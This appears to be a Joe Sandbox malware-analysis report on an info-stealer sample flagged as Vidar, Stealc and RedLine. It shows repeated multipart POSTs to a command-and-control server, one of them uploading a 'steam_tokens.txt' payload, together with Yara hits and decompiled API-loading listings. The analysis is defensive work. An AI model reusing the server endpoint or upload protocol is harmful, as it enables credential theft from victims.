Apr 17, 2024 09:17:28.177454948 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:28.182656050 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCAAFHIEBKJKEBFIEHD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:28.621526957 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:28.629435062 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:29.070580959 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:28 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:29.076730967 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHI Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:29.571342945 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:29.576201916 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJDBKJKFIECAAAKFBFBF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:30.005481958 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:29 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:30.011193037 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHDHIJDGCBAKFIEGHCB Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:30.488044977 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:30.493947983 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBAFBFIEHIDBGDHCGIE Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:30.932073116 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:30 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:30.939646006 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:31.441571951 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:31.448055029 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFIJJEBKEBFCBGDAEGD Host: 185.172.128.23 Content-Length: 1759 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:31.834307909 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:31 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:31.847537041 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDAFCAFCBKECBGCFIIJ Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:32.276073933 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:32.282908916 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAEBGCFIEHCFIDGCAAFB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:32.760850906 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:32 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:32.777115107 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGI Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:33.237157106 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:33.243700027 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHDAFIIDAKJDGDHIDAKJ Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:33.704514980 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:33 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:33.711738110 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:34.146852016 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:34.151972055 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIECAFCGDBFHIDBKFC Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:34.625010967 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:34.629806995 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJDGIJECFIEBFIDHCGHD Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:35.080974102 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:35.086410999 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGDAKEHJDHIDHJJDA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:35.575474977 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:35.598499060 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAEBFIIECBGCBGDHCAF Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:36.026398897 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:36.033617020 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAFHIJDHDGDBFHIEHDGI Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:36.510607958 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:36.517164946 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECA Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:36.927669048 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:36.940514088 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHDHIEGIIIDHIDHDHJJ Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:37.379813910 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:37.385850906 CEST	202	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGHCBGCBFHIIDHIJKFB Host: 185.172.128.23 Content-Length: 1743 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:37.840873003 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:37 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:37.862456083 CEST	564	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAAEBFHJJDAAKFIECGDB Host: 185.172.128.23 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 41 45 42 46 48 4a 4a 44 41 41 4b 46 49 45 43 47 44 42 2d 2d 0d 0a Data Ascii: ------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAAEBFHJJDAAKFIECGDBContent-Disposition: form-data; name="file"------CAAEBFHJJDAAKFIECGDB--
Apr 17, 2024 09:17:38.181039095 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:38 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:38.270322084 CEST	204	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGIDAFBAEBKKEBFIJEBK Host: 185.172.128.23 Content-Length: 130783 Connection: Keep-Alive Cache-Control: no-cache
Apr 17, 2024 09:17:39.124301910 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive
Apr 17, 2024 09:17:39.167514086 CEST	468	OUT	POST /f993692117a3fda2.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFIJKKKKKFCAAAAFBKF Host: 185.172.128.23 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 63 35 37 39 36 35 36 31 33 63 61 35 61 65 35 61 64 33 64 36 66 37 65 31 63 33 62 37 35 31 65 39 37 33 61 31 62 36 35 36 39 65 65 31 66 37 33 31 34 39 34 63 36 63 32 31 39 66 33 33 30 39 39 62 34 33 30 62 34 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 35 31 38 34 31 39 31 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 4a 4b 4b 4b 4b 4b 46 43 41 41 41 41 46 42 4b 46 2d 2d 0d 0a Data Ascii: ------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="token"28c57965613ca5ae5ad3d6f7e1c3b751e973a1b6569ee1f731494c6c219f33099b430b44------HCFIJKKKKKFCAAAAFBKFContent-Disposition: form-data; name="message"5184191------HCFIJKKKKKFCAAAAFBKF--
Apr 17, 2024 09:17:39.532655954 CEST	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 17 Apr 2024 07:17:39 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive

Target ID:	1
Start time:	09:16:52
Start date:	17/04/2024
Path:	C:\Users\user\Desktop\zVp8cG4riO.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\zVp8cG4riO.exe"
Imagebase:	0x400000
File size:	313'344 bytes
MD5 hash:	7AFA5DD515203626695EEDA4606D1C63
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.2604102727.0000000002F70000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000001.00000003.2061583789.0000000002EE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000001.00000002.2604196663.0000000002F85000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.2603744342.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.2604196663.0000000002FD7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:17:39
Start date:	17/04/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5720 -s 2128
Imagebase:	0xe20000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.3%
Total number of Nodes:	2000
Total number of Limit Nodes:	45

Executed Functions

Function 00416240 Relevance: 165.7, APIs: 110, Instructions: 674
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,02F65EB8), ref: 0041625D
GetProcAddress.KERNEL32(75900000,02F65F98), ref: 00416275
GetProcAddress.KERNEL32(75900000,02F88868), ref: 0041628E
GetProcAddress.KERNEL32(75900000,02F88928), ref: 004162A6
GetProcAddress.KERNEL32(75900000,02F88790), ref: 004162BE
GetProcAddress.KERNEL32(75900000,02F88850), ref: 004162D7
GetProcAddress.KERNEL32(75900000,02F6A2B0), ref: 004162EF
GetProcAddress.KERNEL32(75900000,02F889A0), ref: 00416307
GetProcAddress.KERNEL32(75900000,02F88970), ref: 00416320
GetProcAddress.KERNEL32(75900000,02F88958), ref: 00416338
GetProcAddress.KERNEL32(75900000,02F88718), ref: 00416350
GetProcAddress.KERNEL32(75900000,02F65D58), ref: 00416369
GetProcAddress.KERNEL32(75900000,02F65E78), ref: 00416381
GetProcAddress.KERNEL32(75900000,02F65F18), ref: 00416399
GetProcAddress.KERNEL32(75900000,02F65F38), ref: 004163B2
GetProcAddress.KERNEL32(75900000,02F88988), ref: 004163CA
GetProcAddress.KERNEL32(75900000,02F88A00), ref: 004163E2
GetProcAddress.KERNEL32(75900000,02F6A2D8), ref: 004163FB
GetProcAddress.KERNEL32(75900000,02F66078), ref: 00416413
GetProcAddress.KERNEL32(75900000,02F88838), ref: 0041642B
GetProcAddress.KERNEL32(75900000,02F888F8), ref: 00416444
GetProcAddress.KERNEL32(75900000,02F88730), ref: 0041645C
GetProcAddress.KERNEL32(75900000,02F888E0), ref: 00416474
GetProcAddress.KERNEL32(75900000,02F65F58), ref: 0041648D
GetProcAddress.KERNEL32(75900000,02F888C8), ref: 004164A5
GetProcAddress.KERNEL32(75900000,02F88880), ref: 004164BD
GetProcAddress.KERNEL32(75900000,02F88760), ref: 004164D6
GetProcAddress.KERNEL32(75900000,02F889B8), ref: 004164EE
GetProcAddress.KERNEL32(75900000,02F887A8), ref: 00416506
GetProcAddress.KERNEL32(75900000,02F88808), ref: 0041651F
GetProcAddress.KERNEL32(75900000,02F887C0), ref: 00416537
GetProcAddress.KERNEL32(75900000,02F889D0), ref: 0041654F
GetProcAddress.KERNEL32(75900000,02F887D8), ref: 00416568
GetProcAddress.KERNEL32(75900000,02F882D0), ref: 00416580
GetProcAddress.KERNEL32(75900000,02F889E8), ref: 00416598
GetProcAddress.KERNEL32(75900000,02F88898), ref: 004165B1
GetProcAddress.KERNEL32(75900000,02F65ED8), ref: 004165C9
GetProcAddress.KERNEL32(75900000,02F888B0), ref: 004165E1
GetProcAddress.KERNEL32(75900000,02F66118), ref: 004165FA
GetProcAddress.KERNEL32(75900000,02F88910), ref: 00416612
GetProcAddress.KERNEL32(75900000,02F88A78), ref: 0041662A
GetProcAddress.KERNEL32(75900000,02F65D78), ref: 00416643
GetProcAddress.KERNEL32(75900000,02F65EF8), ref: 0041665B
LoadLibraryA.KERNEL32(02F88A18,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041666D
LoadLibraryA.KERNEL32(02F88A90,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 0041667E
LoadLibraryA.KERNEL32(02F88AC0,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 00416690
LoadLibraryA.KERNEL32(02F88AD8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166A2
LoadLibraryA.KERNEL32(02F88A30,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166B3
LoadLibraryA.KERNEL32(02F88A48,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166C5
LoadLibraryA.KERNEL32(02F88A60,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166D7
LoadLibraryA.KERNEL32(02F88AA8,?,00412CC6,?,00000030,00000064,004132C0,?,0000002C,00000064,00413260,?,00000030,00000064,Function_00013160,?), ref: 004166E8
GetProcAddress.KERNEL32(75FD0000,02F66018), ref: 0041670A
GetProcAddress.KERNEL32(75FD0000,02F8A708), ref: 00416722
GetProcAddress.KERNEL32(75FD0000,02F848A0), ref: 0041673A
GetProcAddress.KERNEL32(75FD0000,02F8A8A0), ref: 00416753
GetProcAddress.KERNEL32(75FD0000,02F66038), ref: 0041676B
GetProcAddress.KERNEL32(73AF0000,02F6A3A0), ref: 00416790
GetProcAddress.KERNEL32(73AF0000,02F65E58), ref: 004167A9
GetProcAddress.KERNEL32(73AF0000,02F6A3F0), ref: 004167C1
GetProcAddress.KERNEL32(73AF0000,02F8A690), ref: 004167D9
GetProcAddress.KERNEL32(73AF0000,02F8A780), ref: 004167F2
GetProcAddress.KERNEL32(73AF0000,02F65FB8), ref: 0041680A
GetProcAddress.KERNEL32(73AF0000,02F65DD8), ref: 00416822
GetProcAddress.KERNEL32(73AF0000,02F8A900), ref: 0041683B
GetProcAddress.KERNEL32(763B0000,02F660B8), ref: 0041685C
GetProcAddress.KERNEL32(763B0000,02F65D98), ref: 00416874
GetProcAddress.KERNEL32(763B0000,02F8A798), ref: 0041688D
GetProcAddress.KERNEL32(763B0000,02F8A8D0), ref: 004168A5
GetProcAddress.KERNEL32(763B0000,02F66058), ref: 004168BD
GetProcAddress.KERNEL32(750F0000,02F6A4B8), ref: 004168E3
GetProcAddress.KERNEL32(750F0000,02F6A418), ref: 004168FB
GetProcAddress.KERNEL32(750F0000,02F8A8B8), ref: 00416913
GetProcAddress.KERNEL32(750F0000,02F660D8), ref: 0041692C
GetProcAddress.KERNEL32(750F0000,02F65D38), ref: 00416944
GetProcAddress.KERNEL32(750F0000,02F6A4E0), ref: 0041695C
GetProcAddress.KERNEL32(75A50000,02F8A810), ref: 00416982
GetProcAddress.KERNEL32(75A50000,02F65DB8), ref: 0041699A
GetProcAddress.KERNEL32(75A50000,02F846E0), ref: 004169B2
GetProcAddress.KERNEL32(75A50000,02F8A858), ref: 004169CB
GetProcAddress.KERNEL32(75A50000,02F8A6C0), ref: 004169E3
GetProcAddress.KERNEL32(75A50000,02F65E38), ref: 004169FB
GetProcAddress.KERNEL32(75A50000,02F65DF8), ref: 00416A14
GetProcAddress.KERNEL32(75A50000,02F8A720), ref: 00416A2C
GetProcAddress.KERNEL32(75A50000,02F8A960), ref: 00416A44
GetProcAddress.KERNEL32(75070000,02F65E18), ref: 00416A66
GetProcAddress.KERNEL32(75070000,02F8A870), ref: 00416A7E
GetProcAddress.KERNEL32(75070000,02F8A738), ref: 00416A96
GetProcAddress.KERNEL32(75070000,02F8A918), ref: 00416AAF
GetProcAddress.KERNEL32(75070000,02F8A7E0), ref: 00416AC7
GetProcAddress.KERNEL32(74E50000,02F5ACA0), ref: 00416AE8
GetProcAddress.KERNEL32(74E50000,02F8AEB8), ref: 00416B01
GetProcAddress.KERNEL32(75320000,02F8B258), ref: 00416B22
GetProcAddress.KERNEL32(75320000,02F8A7B0), ref: 00416B3A
GetProcAddress.KERNEL32(6F080000,02F8B1B8), ref: 00416B60
GetProcAddress.KERNEL32(6F080000,02F8B118), ref: 00416B78
GetProcAddress.KERNEL32(6F080000,02F8B0D8), ref: 00416B90
GetProcAddress.KERNEL32(6F080000,02F8A8E8), ref: 00416BA9
GetProcAddress.KERNEL32(6F080000,02F8B218), ref: 00416BC1
GetProcAddress.KERNEL32(6F080000,02F8B078), ref: 00416BD9
GetProcAddress.KERNEL32(6F080000,02F8AED8), ref: 00416BF2
GetProcAddress.KERNEL32(6F080000,02F8B1D8), ref: 00416C0A
GetProcAddress.KERNEL32(74E00000,02F8A888), ref: 00416C2B
GetProcAddress.KERNEL32(74E00000,02F84730), ref: 00416C44
GetProcAddress.KERNEL32(74E00000,02F8A7C8), ref: 00416C5C
GetProcAddress.KERNEL32(74E00000,02F8A6A8), ref: 00416C74
GetProcAddress.KERNEL32(74DF0000,02F8AFD8), ref: 00416C96
GetProcAddress.KERNEL32(6E0D0000,02F8A6D8), ref: 00416CB7
GetProcAddress.KERNEL32(6E0D0000,02F8B238), ref: 00416CCF
GetProcAddress.KERNEL32(6E0D0000,02F8A6F0), ref: 00416CE8
GetProcAddress.KERNEL32(6E0D0000,02F8A978), ref: 00416D00

Memory Dump Source

Source File: 00000001.00000002.2601724331.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2601724331.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2601724331.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zVp8cG4riO.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction ID: 6fdcbfc83a7e6ced85b92bf4002cf1d70b18d179e1e2f66c0d1faa926a602d30
Opcode Fuzzy Hash: ce70c898548f88182f5d017b929846a165f52d01e2510d34cdd7b30da02966dd
Instruction Fuzzy Hash: 6E623EB5510E10AFC374DFA8FE88A1637ABBBCC311311A519A60AC72A4DF759483CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00411650 Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 237
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 00411669
FindFirstFileA.KERNEL32(?,?), ref: 00411680
lstrcat.KERNEL32(?,?), ref: 004116D2
StrCmpCA.SHLWAPI(?,0041D7F8), ref: 004116E4
StrCmpCA.SHLWAPI(?,0041D7FC), ref: 004116FA
